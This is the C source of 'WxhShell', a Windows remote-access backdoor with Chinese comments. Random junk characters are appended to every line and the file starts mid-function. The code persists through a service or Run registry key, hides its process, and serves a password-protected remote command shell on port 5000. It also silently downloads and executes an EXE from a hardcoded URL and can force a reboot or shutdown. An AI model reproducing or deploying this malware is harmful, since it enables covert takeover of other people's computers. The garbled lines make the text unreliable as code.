    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P<>NV4  
    else { &j~9{ C  
    closesocket(wsh); f@`|2wG  
    ExitThread(0); /S J><  
    } N4 x5!00  
    break; U?dad}7  
    } 6Gg`ExcT5  
  // 获取shell 1Xi>&;],  
  case 's': { sSh." H  
    CmdShell(wsh); i=/hLE8T*  
    closesocket(wsh); ^zTe9:hz/\  
    ExitThread(0); &w9*pJR %  
    break; Y-8BL  
  } K Zg NL|  
  // 退出 O)W+rmToI  
  case 'x': { (1cB Tf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E-1u_7  
    CloseIt(wsh); ktPM66`b  
    break; z4 =OR@ h  
    } }J?,?>Z  
  // 离开 >-V632(/{o  
  case 'q': { z 8M\(<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n><ad*|MX  
    closesocket(wsh); HT/!+#W .  
    WSACleanup(); +8xT}mX  
    exit(1); <',k%:t  
    break; [ PN2^  
        } 6&]Z'nW0k  
  } VsTgK  
  } )o:sDj`b]  
BEax[=&W  
  // 提示信息 \s[L=^!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K. B\F)K  
} dfAw\7v/  
  } l1kHFeq  
<r <{4\%}  
  return; xKUWj<+/  
} |11vm#  
^>%.l'1/(  
// shell模块句柄 I~6(>Z{  
int CmdShell(SOCKET sock) rMVcoO@3  
{ T-yEn&r4)  
STARTUPINFO si; WI&A+1CK-5  
ZeroMemory(&si,sizeof(si)); (gY W iz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PZru:.Mh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7Cp /{l;d  
PROCESS_INFORMATION ProcessInfo; ]["%e9#aX  
char cmdline[]="cmd"; { k=3OIp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KaMg [ G  
  return 0; )-"<19eu  
} 4<tbZP3/6)  
rRe^7xGe7  
// 自身启动模式 s[a\m,  
int StartFromService(void) G0m$bi=z  
{ 4S*ifl  
typedef struct <B T18u\  
{ Kn3Xn`P?  
  DWORD ExitStatus; R`$Y]@i&B  
  DWORD PebBaseAddress; CAx$A[f<  
  DWORD AffinityMask; W%5))R$  
  DWORD BasePriority; s)E8}-v  
  ULONG UniqueProcessId; tq,^!RSbZ  
  ULONG InheritedFromUniqueProcessId; #/Ob_~-?j  
}   PROCESS_BASIC_INFORMATION; =\u,4  
|Isn<|_  
PROCNTQSIP NtQueryInformationProcess; >`3F`@1L0  
PSv 5tQhm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8&HBR #  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;F- mt(Y  
IR]5,K^l  
  HANDLE             hProcess; dh%O {t  
  PROCESS_BASIC_INFORMATION pbi; @f"[*7Q`/  
FO(QsR=\s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %5+X  
  if(NULL == hInst ) return 0; y|+5R5}K  
&HLG<ISw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D1+1j:m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c2Z !Vtd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F,)+9/S&  
[z\baL|  
  if (!NtQueryInformationProcess) return 0; x>mI$K(6M  
UrciCOQf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bx\ o8k  
  if(!hProcess) return 0; ugXDnM[S%  
OcWKK!A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \ :s%;s51  
\z6UWZ  
  CloseHandle(hProcess); d 4tL  
!0? B=yA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); byE0Z vDM  
if(hProcess==NULL) return 0; LH}9&FfjU  
DazoY&AWE  
HMODULE hMod; &n8Ja@Y]  
char procName[255]; Fab]'#1q4  
unsigned long cbNeeded; bBc<p{  
!_3b#Caf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z'9|  
u4T$  
  CloseHandle(hProcess); q9_AL8_  
y5=,q]Qjk[  
if(strstr(procName,"services")) return 1; // 以服务启动 6/3E!8  
&+(D< U  
  return 0; // 注册表启动 %{IgY{X  
} # "c'eG0  
rZ+4kf6S   
// 主模块 e(0 cz6  
int StartWxhshell(LPSTR lpCmdLine) 9[X'9* ,  
{ .czUJyFms}  
  SOCKET wsl; 2<OU)rVE4  
BOOL val=TRUE; -z. wAp  
  int port=0; CV^%'HIs?+  
  struct sockaddr_in door; Dz$w6 d  
LKI\(%ba#  
  if(wscfg.ws_autoins) Install(); ,<K+.7,)E  
ZY7-.  
port=atoi(lpCmdLine); %E#Ubm!  
b==jlYa=  
if(port<=0) port=wscfg.ws_port; qov<@FvE0  
T=~d. &J  
  WSADATA data; /N%i6t<xU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l i?@BHEf  
+ \%]<YO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ox<&T|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B*}]'  
  door.sin_family = AF_INET; VHqoa>U,*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7neJV  
  door.sin_port = htons(port); ct|0zl~  
{*n<A{$[ m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [G|(E  
closesocket(wsl); B%u[gNZ  
return 1; +J{ErsG?6P  
} 1E||ft-1i*  
XRkUv>Yk  
  if(listen(wsl,2) == INVALID_SOCKET) { q,#s m'S  
closesocket(wsl); G Wa6FX:/  
return 1; " 1a!]45+  
} 'ParMT  
  Wxhshell(wsl); 8Uh|V&  
  WSACleanup(); SD*q+Si,1U  
PHT<]:"`<  
return 0; 'l!\2Wv2  
KC; o   
} [/*;}NUv  
;Q q_  
// 以NT服务方式启动 6RxI9{ry  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f^QC4hf0  
{ x.t&NP^V)  
DWORD   status = 0; P}a$#a'!  
  DWORD   specificError = 0xfffffff; q$yg^:]2  
CDtL.a\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V D7^wd9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4?@#w>(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |[5;dt_U/  
  serviceStatus.dwWin32ExitCode     = 0; 2 KHT!ik  
  serviceStatus.dwServiceSpecificExitCode = 0; oI`Mn3N  
  serviceStatus.dwCheckPoint       = 0; 1;kMbl]  
  serviceStatus.dwWaitHint       = 0; 8;"%x|iBoL  
9?hF<}1XH}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tvVf)bbz  
  if (hServiceStatusHandle==0) return; H!}L(gjEG  
z}-R^"40  
status = GetLastError(); D}}?{pe  
  if (status!=NO_ERROR) >*O5Ry:4  
{ d)biMI}<5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rq7yNt  
    serviceStatus.dwCheckPoint       = 0; 3k>#z%//  
    serviceStatus.dwWaitHint       = 0; !wd wo0  
    serviceStatus.dwWin32ExitCode     = status; wDoCc:  
    serviceStatus.dwServiceSpecificExitCode = specificError; c-NUD$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &@{`{  
    return; wTR?8$  
  } I*o6Bn |D  
H'k~;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Jpp-3i.F#  
  serviceStatus.dwCheckPoint       = 0; '>1M~B  
  serviceStatus.dwWaitHint       = 0; Z)~?foe'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OOIp)=4  
} ,Js_d  
.WN&]yr,  
// 处理NT服务事件,比如:启动、停止 |zfFB7}v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Mi(6HMA.SF  
{ 7=X6_AD  
switch(fdwControl) p(I^Y{sGI  
{ Gl w|*{$  
case SERVICE_CONTROL_STOP: MW +DqT.h  
  serviceStatus.dwWin32ExitCode = 0; cy mC?8<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =bJ$>Djp  
  serviceStatus.dwCheckPoint   = 0; }D)eS |B  
  serviceStatus.dwWaitHint     = 0; 3I}AA.h'00  
  { n{<@-6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AIQ {^:  
  } {U3jJ#K  
  return; \pK&gdw  
case SERVICE_CONTROL_PAUSE: xo @|;Z>&F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /{8Y,pZbu  
  break; @##}zku  
case SERVICE_CONTROL_CONTINUE: 4mp)v*z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +RpCh!KP  
  break; zCA8}](C^  
case SERVICE_CONTROL_INTERROGATE: t xnH~;(  
  break; t'W6Fmwkx  
}; cC$YD]XdIA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x%@M*4:&  
} GadY#]}(  
V#b*:E.cA  
// 标准应用程序主函数 <x;g9Z>(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jM6$R1HX  
{ F+R1}5-3cl  
ZT/f  
// 获取操作系统版本 d!&LpODI]*  
OsIsNt=GetOsVer(); 0]DX KI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x2I|iA=  
LHOt(5VY  
  // 从命令行安装 kn3GgdU  
  if(strpbrk(lpCmdLine,"iI")) Install(); m^ar:mK@  
Xu_1r8-|=b  
  // 下载执行文件 r:0RvWif  
if(wscfg.ws_downexe) { tZ@&di:-F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hTby:$aCg  
  WinExec(wscfg.ws_filenam,SW_HIDE); J'=s25OWU  
} n 78!]O  
\?e2qu/ C  
if(!OsIsNt) { 3bC-B!{;g  
// 如果时win9x,隐藏进程并且设置为注册表启动 f]Aa$\@b  
HideProc(); j;j~R3B  
StartWxhshell(lpCmdLine); fWfhs}_  
} 13 JG[,w  
else ;2fzA<RkK  
  if(StartFromService()) K]>4*)A:  
  // 以服务方式启动 {nA+-=T  
  StartServiceCtrlDispatcher(DispatchTable); ~KGE(o4p  
else "k [$euV  
  // 普通方式启动 $[cB6  
  StartWxhshell(lpCmdLine); UDcr5u eKn  
IWN18aaL?  
return 0; S$wC{7?f  
} VOATza`  
]NWcd~"b!Z  
at*DYZBjDB  
+dq2}gM  
=========================================== R"t2=3K  
T72Z<h|<  
Avljrds+7  
zKYN5|17  
h= YTgJ  
<R2SV=]Sq#  
" i+I.>L/S  
}L{GwiDMDl  
#include <stdio.h> l_ x jsu  
#include <string.h> 1dp8'f5^  
#include <windows.h> PDgZb  
#include <winsock2.h> O6-';H:I]L  
#include <winsvc.h> :u@ w ;  
#include <urlmon.h> $V<fJpA  
$'*{&/@  
#pragma comment (lib, "Ws2_32.lib") _Eq,udCso  
#pragma comment (lib, "urlmon.lib") j9Z1=z  
,FRa6;  
#define MAX_USER   100 // 最大客户端连接数 XNvlx4  
#define BUF_SOCK   200 // sock buffer HPO:aGU   
#define KEY_BUFF   255 // 输入 buffer 5?j#  
iY sQ:3s  
#define REBOOT     0   // 重启 a{By U%  
#define SHUTDOWN   1   // 关机 +]H!q W:  
0H'G./8  
#define DEF_PORT   5000 // 监听端口 !14v Ovj4{  
Esj1Vv#  
#define REG_LEN     16   // 注册表键长度 ^q}phj3E  
#define SVC_LEN     80   // NT服务名长度 &;vMJ   
)T(1oK(g  
// 从dll定义API  V2 ;?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pnv)D}"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ESS1 L$y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +H? XqSC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ##] `  
KmD#Ia  
// wxhshell配置信息 9I1`*0A  
struct WSCFG { j{ri]?p  
  int ws_port;         // 监听端口 RSjcOQ8&.w  
  char ws_passstr[REG_LEN]; // 口令 v] q"{c/  
  int ws_autoins;       // 安装标记, 1=yes 0=no !Xq5r8]  
  char ws_regname[REG_LEN]; // 注册表键名 AQ"rk9Z  
  char ws_svcname[REG_LEN]; // 服务名 gd]k3XN$f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -gb@BIV#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 { ux'9SA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v)zxQuH]^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \/ Zo*/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &y3;`A7,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KC<K*UHPAH  
2XjH1  
}; 8)f/H&)>8  
R&/"?&pfa  
// default Wxhshell configuration sk t9mU  
struct WSCFG wscfg={DEF_PORT, e&<=+\ul  
    "xuhuanlingzhe", v+d`J55  
    1, 1:I _ ;O_  
    "Wxhshell", j2hp*C'^  
    "Wxhshell", gb^'u  
            "WxhShell Service", cS#| _  
    "Wrsky Windows CmdShell Service", >(Wt  
    "Please Input Your Password: ", [/J(E\9  
  1, 6*tky;  
  "http://www.wrsky.com/wxhshell.exe", 8feLhWg'P  
  "Wxhshell.exe" /)Weg1b  
    }; _#<7s`i  
(gutDUO;  
// 消息定义模块 urD{'FQf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yW}x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `my\59T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |[/XG2S  
char *msg_ws_ext="\n\rExit."; EhOB+Mc1  
char *msg_ws_end="\n\rQuit."; wFL7JwK:G  
char *msg_ws_boot="\n\rReboot..."; ]#FQde4]5  
char *msg_ws_poff="\n\rShutdown..."; s*e1m%  
char *msg_ws_down="\n\rSave to "; ( d8rfet  
` P*PCiZos  
char *msg_ws_err="\n\rErr!"; v +?'/Q%  
char *msg_ws_ok="\n\rOK!"; GRgpy  
17ynFHMd,  
char ExeFile[MAX_PATH]; }A<fCm7  
int nUser = 0;  7"])Y  
HANDLE handles[MAX_USER]; G/_8xmsU  
int OsIsNt; ~ #P` 7G  
cMAY8$  
SERVICE_STATUS       serviceStatus; =A/$[POr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MnW"ksH  
;'4Kg@/  
// 函数声明 }~ga86:n0  
int Install(void); n=h!V$X   
int Uninstall(void); ^QTkre  
int DownloadFile(char *sURL, SOCKET wsh); zgSv -h+f  
int Boot(int flag); `S]DHxS  
void HideProc(void); B!1L W4^  
int GetOsVer(void); B}d)e_uLj  
int Wxhshell(SOCKET wsl); XiyL563gh  
void TalkWithClient(void *cs); ,LDdL  
int CmdShell(SOCKET sock); #4^D'r>pJ  
int StartFromService(void); >% E=l  
int StartWxhshell(LPSTR lpCmdLine); *iVv(xXgN  
<TEDs4 C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8H{9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;.d{$SO  
0(|36 ;x  
// 数据结构和表定义 )KN]"<jB  
SERVICE_TABLE_ENTRY DispatchTable[] = `n%8y I%  
{ v-}D>)M^W  
{wscfg.ws_svcname, NTServiceMain}, r 4+%9)  
{NULL, NULL} P)06<n1">Z  
}; %T~LK=m  
+?C7(-U>  
// 自我安装 8wzQr2:  
int Install(void) 5S%#3YHY2  
{ }vX/55  
  char svExeFile[MAX_PATH]; n'<F'1SWv  
  HKEY key; yxy~N\ 0  
  strcpy(svExeFile,ExeFile); .$r7q[  
{&)E$ M  
// 如果是win9x系统,修改注册表设为自启动 #D8u#8Dz  
if(!OsIsNt) { 'n "n;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  \.MPjD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >m`<AynJ  
  RegCloseKey(key); !4fT<V (  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y ^}c+)t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A}0u-W  
  RegCloseKey(key); NS^+n4  
  return 0; 'X1/tB8*  
    } qyY]: (8  
  } Q|W~6  
} /cZ-+cu  
else { Wg=4`&F^  
0/b3]{skK  
// 如果是NT以上系统,安装为系统服务 qf B!)Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Vg1MA  
if (schSCManager!=0) d)v'K5  
{ :.F;LF&  
  SC_HANDLE schService = CreateService XbW 1`PH  
  ( -F';1D!l%  
  schSCManager, bBXUD;$  
  wscfg.ws_svcname, 2@$`xPg  
  wscfg.ws_svcdisp, r[kmgPld  
  SERVICE_ALL_ACCESS, 3rVWehCv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kntn9G  
  SERVICE_AUTO_START, _{0IX  
  SERVICE_ERROR_NORMAL, %9`\ 7h7K  
  svExeFile, "5$2b>_UE  
  NULL, [!>DQE  
  NULL, ;cW9NS3:  
  NULL, q-d#bKIf  
  NULL, {s~t>Rp+  
  NULL E9PD1ADR  
  ); +dF/$+t  
  if (schService!=0) G297)MFF  
  { C_V5.6T!  
  CloseServiceHandle(schService); 5,K*IH  
  CloseServiceHandle(schSCManager); Q`(.Blgm;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V=5v7Y3( j  
  strcat(svExeFile,wscfg.ws_svcname); Qon>[<]B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HT=-mwa_]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2)+ddel<Z  
  RegCloseKey(key); bRK[u\,  
  return 0; 0z=^_Fb  
    } '645Fr[lg  
  } LP5@ID2G  
  CloseServiceHandle(schSCManager); Xe:e./@  
} hG lRf_{  
} ~mu)Cw  
7& G#&d  
return 1; v L!?4k  
} f!+G1z}iA  
]sV) '-  
// 自我卸载 CC{{@  
int Uninstall(void) [[VB'Rs  
{ 6Bn%7ZBv  
  HKEY key; ">"B  
qgZN&7Nn:  
if(!OsIsNt) { ~ZZJ/Cu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hYU4%"X  
  RegDeleteValue(key,wscfg.ws_regname); Y|N.R(sAs&  
  RegCloseKey(key); w2o5+G=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ub=Bz1._  
  RegDeleteValue(key,wscfg.ws_regname); j+Q E~L  
  RegCloseKey(key); "2 J2za  
  return 0; zT"W(3  
  } "gGv>]3  
} eU m,=s  
} WxI_wRKx  
else { dI$M9;  
R}Z2rbt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |;(0]  
if (schSCManager!=0) 6`sS8Ar&u  
{ |GnqfD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {{ /-v3n  
  if (schService!=0) 1JSKK.LuJV  
  { 8+OcM ;0  
  if(DeleteService(schService)!=0) { ''~#tK f  
  CloseServiceHandle(schService); L&h90Az1W  
  CloseServiceHandle(schSCManager); Vrx3%_NkQ  
  return 0; $WHmG!)*  
  } >.f'_2#Z&  
  CloseServiceHandle(schService); v* /}s :a  
  } `%A>{A"  
  CloseServiceHandle(schSCManager); {/PiX1mn  
} e95@4f^K2  
} 6=i@t tAK  
23~KzC  
return 1; \S`|7JYW  
} x4nmDEpa  
7\sRf/  
// 从指定url下载文件 ^Y- S"Ks  
int DownloadFile(char *sURL, SOCKET wsh) vK~tgZ&  
{ JN:EcVuy  
  HRESULT hr; e!JC5Al7  
char seps[]= "/"; S67>yqha  
char *token; 3pk `&'  
char *file; /5 6sPl 7}  
char myURL[MAX_PATH]; ,CA3Q.y>|  
char myFILE[MAX_PATH]; ]\Q9j7}37+  
%+e% RZ3  
strcpy(myURL,sURL); } qn@8}  
  token=strtok(myURL,seps); i*-L_!cc:  
  while(token!=NULL) H_<hZ UB  
  { > lIQM3  
    file=token; E{B=%ZNnm  
  token=strtok(NULL,seps); |$aTJ9 Iq:  
  } >,s.!vpK  
;^Hg\a  
GetCurrentDirectory(MAX_PATH,myFILE); ?wQaM3 |^:  
strcat(myFILE, "\\"); [  bB   
strcat(myFILE, file); l/F'W}  
  send(wsh,myFILE,strlen(myFILE),0); B2DWSp-8*  
send(wsh,"...",3,0); K\a=bA}DG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8KhE`C9z  
  if(hr==S_OK) ^J{tOxO=l  
return 0; 1pT-PO 3=  
else iF1E 5{dH  
return 1; "<5su5]  
60r4%> d  
} > qhoGg  
zOzobd   
// 系统电源模块 ^ H )nQ  
int Boot(int flag) re;^,  
{ HHU0Nku@ho  
  HANDLE hToken; Q1?09  
  TOKEN_PRIVILEGES tkp; x]%'^7#v)  
KaGG4?=V  
  if(OsIsNt) { \6z_ ;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [[sfuJD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Rx>>0%e.  
    tkp.PrivilegeCount = 1; 6 (@U+`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; slWO\AYiO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rfVHPMD0  
if(flag==REBOOT) { P&0o~@`cL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;Q&|-`NK  
  return 0; Y4.t:Uzr  
} zPKx: I3  
else { }g\1JSJ%H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sq~9 l|F  
  return 0; A:-r 2;xB  
} quEP"  
  } G^Q8B^Lg  
  else { d}`Z| ex  
if(flag==REBOOT) { 8Q2qroT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ':jsCeSB  
  return 0; @CJ`T&  
} R<GnPN:c  
else { G$)f5_]7{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >PBP:s1f4>  
  return 0; eVy>  
} $xl>YYEBMH  
} +>uiI4g  
-lNq.pp3-$  
return 1; tB i16=  
} wmQT$`$b  
~7}aW#  
// win9x进程隐藏模块 wxx3']:  
void HideProc(void) Z+G.v=2q<  
{ y$7vJl.uS/  
8:)W!tr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,fa'  
  if ( hKernel != NULL ) 8UahoNrSt  
  { r%^l~PN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Gec?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^[]@dk9  
    FreeLibrary(hKernel); ~dFdO7  
  } f1_b``M  
#OT8_D  
return; {r,MRZaa  
} <HC5YA)4  
qij<XNZU"&  
// 获取操作系统版本 I \DH  
int GetOsVer(void) 1"4Pan  
{ -J<{NF  
  OSVERSIONINFO winfo; ev}ugRxt|k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &eqeQD6  
  GetVersionEx(&winfo); *49lM;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vTdJe  
  return 1; hN3*]s;/6z  
  else X' ,0vK  
  return 0; knsTy0]  
} c :{#H9  
_3'FX# xc  
// 客户端句柄模块 =>kE`"{!  
int Wxhshell(SOCKET wsl) V4.&"0\n#  
{ >-0\wP  
  SOCKET wsh; K#e&yY  
  struct sockaddr_in client; k+D"LA%J  
  DWORD myID; ?b8 :  
= @EN]u  
  while(nUser<MAX_USER) oN\IQ7oI  
{ BsJ d*-:X  
  int nSize=sizeof(client); ,3As Ng  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DNGXp5I  
  if(wsh==INVALID_SOCKET) return 1; qz@k-Jqq d  
#BZ2%\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?E*;fDEC  
if(handles[nUser]==0) B,_/'DneQK  
  closesocket(wsh); 1#D&cx6  
else %\|9_=9Wn  
  nUser++; Us.")GiHE  
  } $q iY)RE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pr) `7VuKp  
!G8=S'~~  
  return 0; !pqfx93R*  
} s6k@WT?"^  
fK %${   
// 关闭 socket uSl&d  
void CloseIt(SOCKET wsh) u3B[1Ae:K  
{ 6Kbc:wlR  
closesocket(wsh); E<~Fi .M;\  
nUser--; o^!_S5zKe.  
ExitThread(0); djk?;^8  
} Jx jP'8  
+~x'1*A_  
// 客户端请求句柄 KqD]GS#(  
void TalkWithClient(void *cs) Oe/&Ryj=mm  
{ g"dq;H  
hp$/O4fD  
  SOCKET wsh=(SOCKET)cs; %wDE+&M  
  char pwd[SVC_LEN]; >STAPrBp+  
  char cmd[KEY_BUFF]; zarxv| }$  
char chr[1]; BWWO=N  
int i,j; KmYSYNr@,  
v/m} {&K  
  while (nUser < MAX_USER) { R_7[7 /a  
.S{FEV  
if(wscfg.ws_passstr) { QCD MRh n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J_|LG rt})  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F+m%PVW:  
  //ZeroMemory(pwd,KEY_BUFF); n`Y"b&  
      i=0; 0|J]EsPxu  
  while(i<SVC_LEN) { "?X,);5S  
:]rb}1nLB  
  // 设置超时 `k.Tfdu)K  
  fd_set FdRead;  mdtG W  
  struct timeval TimeOut; %tvP\(]h  
  FD_ZERO(&FdRead); n ZbINhls  
  FD_SET(wsh,&FdRead); W0 n?S "  
  TimeOut.tv_sec=8; "PD^]m  
  TimeOut.tv_usec=0; kF@Z4MB}yr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )-s9CWJv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'xP&u<(F  
$1E'0M`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <3)k M&.B  
  pwd=chr[0]; sP'U9l  
  if(chr[0]==0xd || chr[0]==0xa) { Sk6B>O<:  
  pwd=0; zJ $&`=  
  break; X3dXRDB'  
  } 9zL(PkC%\  
  i++; E xls_oSp  
    } }mYxI^n  
3T= ?!|e  
  // 如果是非法用户,关闭 socket ;(3!#4`q(]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )z^NJ'v4(  
} lZr}F.7  
8)o%0#;0B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hE;|VSdo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cp)BPg  
 CK"OHjR  
while(1) {  ;H4s[#K  
!\}X?G f  
  ZeroMemory(cmd,KEY_BUFF); B" 0a5-pkr  
N*`qsv 0  
      // 自动支持客户端 telnet标准   H,3WdSL`K  
  j=0; 0#S#v2r5  
  while(j<KEY_BUFF) { _m.w5nJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x>bGxDtu*  
  cmd[j]=chr[0]; {6tj$&\)  
  if(chr[0]==0xa || chr[0]==0xd) { WbWEgd%8.  
  cmd[j]=0; 5<>"d :9  
  break; ^ 7SE2Zi  
  } T! ww3d  
  j++; (UB?UJc  
    } Ab In\,x  
YW2h#PV6_  
  // 下载文件 FPE%h =sw  
  if(strstr(cmd,"http://")) { Q3I^(Ll"L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :Dj0W8V  
  if(DownloadFile(cmd,wsh)) S?[@/35)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7C9_;81_Dt  
  else 2j;9USZ p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *N&~Uq^  
  } nCS" l5  
  else { `*ALb|4ilG  
bgYUsc*uR  
    switch(cmd[0]) { N XCvS0/h  
  ='t}d>l  
  // 帮助 %X BMi ~  
